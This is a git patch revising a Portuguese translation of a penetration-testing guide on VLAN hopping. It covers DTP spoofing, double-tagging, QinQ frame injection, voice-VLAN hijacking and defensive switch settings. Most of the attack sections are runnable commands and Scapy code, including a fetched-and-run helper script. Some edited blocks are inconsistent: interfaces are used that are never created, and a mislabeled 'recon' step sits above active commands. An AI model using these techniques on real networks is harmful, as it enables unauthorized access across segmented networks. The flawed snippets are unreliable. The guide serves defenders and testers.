From 42863abb36c62aee241e11acf6ba13a6763facb2 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 12:37:54 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/pentesting-network/ --- .../lateral-vlan-segmentation-bypass.md | 91 ++++++++++++++----- 1 file changed, 66 insertions(+), 25 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index d990dd848..cf00755de 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Se o acesso direto a um switch estiver disponível, a segmentação de VLAN pode ser contornada. Isso envolve reconfigurar a porta conectada para o modo trunk, estabelecendo interfaces virtuais para as VLANs alvo e definindo endereços IP, seja dinamicamente (DHCP) ou estaticamente, dependendo do cenário (**para mais detalhes, consulte [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** +Se o acesso direto a um switch estiver disponível, a segmentação de VLAN pode ser contornada. Isso envolve reconfigurar a porta conectada para o modo trunk, estabelecer interfaces virtuais para as VLANs alvo e definir endereços IP, seja dinamicamente (DHCP) ou estaticamente, dependendo do cenário (**para mais detalhes, consulte [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** Inicialmente, é necessário identificar a porta conectada específica. Isso pode ser tipicamente realizado através de mensagens CDP ou procurando pela porta via a máscara **include**. @@ -24,6 +24,7 @@ Mudar para o modo trunk irá interromper temporariamente a conectividade, mas is Interfaces virtuais são então criadas, atribuídas IDs de VLAN e ativadas: ```bash +# Legacy (vconfig) – still works but deprecated in modern kernels sudo vconfig add eth0 10 sudo vconfig add eth0 20 sudo vconfig add eth0 50 @@ -32,17 +33,26 @@ sudo ifconfig eth0.10 up sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up + +# Modern (ip-link – preferred) +sudo modprobe 8021q +sudo ip link add link eth0 name eth0.10 type vlan id 10 +sudo ip link add link eth0 name eth0.20 type vlan id 20 +sudo ip link set eth0.10 up +sudo ip link set eth0.20 up +sudo dhclient -v eth0.50 +sudo dhclient -v eth0.60 ``` Em seguida, uma solicitação de endereço é feita via DHCP. Alternativamente, em casos onde o DHCP não é viável, os endereços podem ser configurados manualmente: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 -sudo dhclient -v eth0.50 -sudo dhclient -v eth0.60 ``` Exemplo de configuração manual de um endereço IP estático em uma interface (VLAN 10): ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 +# or +sudo ip addr add 10.10.10.66/24 dev eth0.10 ``` A conectividade é testada iniciando solicitações ICMP para os gateways padrão das VLANs 10, 20, 50 e 60. @@ -52,31 +62,38 @@ Em última análise, esse processo permite contornar a segmentação de VLAN, fa ## Outras Técnicas de VLAN-Hopping (sem CLI privilegiada do switch) -O método anterior assume acesso autenticado ao console ou Telnet/SSH do switch. Em engajamentos do mundo real, o atacante geralmente está conectado a uma **porta de acesso regular**. Os seguintes truques de Camada 2 frequentemente permitem que você faça um pivot lateral sem nunca fazer login no sistema operacional do switch: +O método anterior assume acesso autenticado ao console ou Telnet/SSH do switch. Em engajamentos do mundo real, o atacante geralmente está conectado a uma **porta de acesso regular**. Os seguintes truques de Camada 2 frequentemente permitem que você faça pivotagem lateral sem nunca fazer login no sistema operacional do switch: -### 1. Spoofing de Switch com Protocolo de Trunking Dinâmico (DTP) +### 1. Switch-Spoofing com Protocolo de Trunking Dinâmico (DTP) Switches Cisco que mantêm o DTP habilitado negociarão felizmente um trunk se o par afirmar ser um switch. Criar um único quadro **DTP “desejável”** ou **“trunk”** converte a porta de acesso em um trunk 802.1Q que transporta *todas* as VLANs permitidas. *Yersinia* e vários PoCs automatizam o processo: ```bash # Become a trunk using Yersinia (GUI) -$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking +sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking # Python PoC (dtp-spoof) -$ git clone https://github.com/fleetcaptain/dtp-spoof.git -$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable +git clone https://github.com/fleetcaptain/dtp-spoof.git +sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable ``` -Uma vez que a porta muda para trunk, você pode criar subinterfaces 802.1Q e pivotar exatamente como mostrado na seção anterior. Kernels modernos do Linux não requerem mais *vconfig*; em vez disso, use *ip link*: +Recon helper (identificar passivamente o estado DTP da porta): ```bash sudo modprobe 8021q sudo ip link add link eth0 name eth0.30 type vlan id 30 sudo ip addr add 10.10.30.66/24 dev eth0.30 sudo ip link set eth0.30 up -``` -### 2. Double-Tagging (Abuso de Native-VLAN) -Se o atacante estiver na **VLAN nativa (sem tag)**, um quadro elaborado com *dois* cabeçalhos 802.1Q pode "pular" para uma segunda VLAN, mesmo quando a porta está bloqueada em modo de acesso. Ferramentas como **VLANPWN DoubleTagging.py** (atualização de 2022-2024) automatizam a injeção: +# or + +wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py +sudo python3 dtpscan.py -i eth0 +``` +Uma vez que a porta muda para trunk, você pode criar subinterfaces 802.1Q e pivotar exatamente como mostrado na seção anterior. + +### 2. Double-Tagging (Abuso de VLAN Nativa) + +Se o atacante estiver na **VLAN nativa (sem tag)**, um quadro elaborado com *duas* cabeçalhos 802.1Q pode pular para uma segunda VLAN, mesmo quando a porta está bloqueada em modo de acesso. Ferramentas como **VLANPWN DoubleTagging.py** (atualização de 2022-2025) automatizam a injeção: ```bash python3 DoubleTagging.py \ --interface eth0 \ @@ -85,15 +102,9 @@ python3 DoubleTagging.py \ --victim 10.10.20.24 \ --attacker 10.10.1.54 ``` -Packet walk-through: -1. A tag externo (1) é removido pelo primeiro switch porque corresponde à VLAN nativa. -2. A tag interna (20) agora está exposta; o quadro é encaminhado para o tronco em direção à VLAN 20. - -A técnica ainda funciona em 2025 em redes que mantêm a VLAN nativa como padrão e aceitam quadros não marcados. - ### 3. Empilhamento QinQ (802.1ad) -Muitos núcleos empresariais suportam encapsulamento de provedor de serviço *Q-in-Q*. Onde permitido, um atacante pode encapsular tráfego arbitrário marcado com 802.1Q dentro de um provedor (S-tag) para cruzar zonas de segurança. Capture para o ethertype 802.1ad 0x88a8 e tente remover a tag externa com Scapy: +Muitos núcleos empresariais suportam encapsulamento de provedor de serviços *Q-in-Q*. Onde permitido, um atacante pode encapsular tráfego etiquetado com 802.1Q arbitrário dentro de um provedor (S-tag) para cruzar zonas de segurança. Capture para ethertype `0x88a8` e tente remover a etiqueta externa com Scapy: ```python from scapy.all import * outer = 100 # Service tag @@ -102,22 +113,52 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ frame = Dot1Q(type=0x88a8, vlan=outer)/payload sendp(frame, iface="eth0") ``` +### 4. Sequestro de Voice-VLAN via LLDP/CDP (Spoofing de IP-Phone) + +As portas de acesso corporativas geralmente estão em uma configuração *“acesso + voz”*: VLAN de dados não marcada para a estação de trabalho e uma VLAN de voz marcada anunciada através do CDP ou LLDP-MED. Ao se passar por um telefone IP, o atacante pode descobrir automaticamente e pular para a VLAN VoIP—mesmo quando o DTP está desativado. + +*VoIP Hopper* (embalado no Kali 2025.2) suporta CDP, opções DHCP **176/242**, e spoofing completo de LLDP-MED: +```bash +# One-shot discovery & hop +sudo voiphopper -i eth0 -f cisco-7940 + +# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt) +sudo voiphopper -i eth0 -z + +# Result: new sub-interface eth0. with a DHCP or static address inside the voice VLAN +``` +A técnica contorna a separação de dados/voz e é extremamente comum em switches de borda corporativos em 2025, pois o auto-política LLDP está habilitado por padrão em muitos modelos. + --- ## Recomendações Defensivas 1. Desative o DTP em todas as portas voltadas para o usuário: `switchport mode access` + `switchport nonegotiate`. -2. Altere a VLAN nativa em cada trunk para uma **VLAN não utilizada, black-hole** e a marque: `vlan dot1q tag native`. -3. Remova VLANs desnecessárias nos trunks: `switchport trunk allowed vlan 10,20`. -4. Aplique segurança de porta, DHCP snooping e inspeção ARP dinâmica para limitar atividades Layer-2 indesejadas. -5. Prefira private-VLANs ou segmentação L3 em vez de depender apenas da separação 802.1Q. +2. Altere a VLAN nativa em cada trunk para uma **VLAN de buraco negro não utilizada** e a marque: `vlan dot1q tag native`. +3. Prune VLANs desnecessárias em trunks: `switchport trunk allowed vlan 10,20`. +4. Aplique segurança de porta, DHCP snooping, inspeção dinâmica de ARP **e 802.1X** para limitar a atividade Layer-2 não autorizada. +5. Desative as políticas de voz automáticas LLDP-MED (ou bloqueie-as para MAC OUIs autenticados) se o spoofing de telefone IP não for necessário. +6. Prefira VLANs privadas ou segmentação L3 em vez de depender apenas da separação 802.1Q. + +--- + +## Vulnerabilidades de Fornecedores no Mundo Real (2022-2024) + +Mesmo uma configuração de switch perfeitamente endurecida pode ser comprometida por bugs de firmware. Exemplos recentes incluem: + +* **CVE-2022-20728† – Cisco Aironet/Catalyst Access Points** permitem injeção da VLAN nativa em VLANs WLAN não nativas, contornando a segmentação com fio/sem fio. +* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** permite contorno de ACLs em SVIs após alternar o Protocolo Ethernet Resiliente, vazando tráfego entre VRFs/VLANs. Patch 17.9.5 ou posterior. + +Sempre monitore os avisos do fornecedor para problemas de contorno/ACL relacionados a VLAN e mantenha as imagens da infraestrutura atualizadas. --- ## Referências - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -- Conjunto de ferramentas de ataque VLANPWN – -- Twingate "O que é VLAN Hopping?" (Ago 2024) – +- VLANPWN attack toolkit – +- Twingate "What is VLAN Hopping?" (Aug 2024) – +- VoIP Hopper project – +- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” – {{#include ../../banners/hacktricks-training.md}}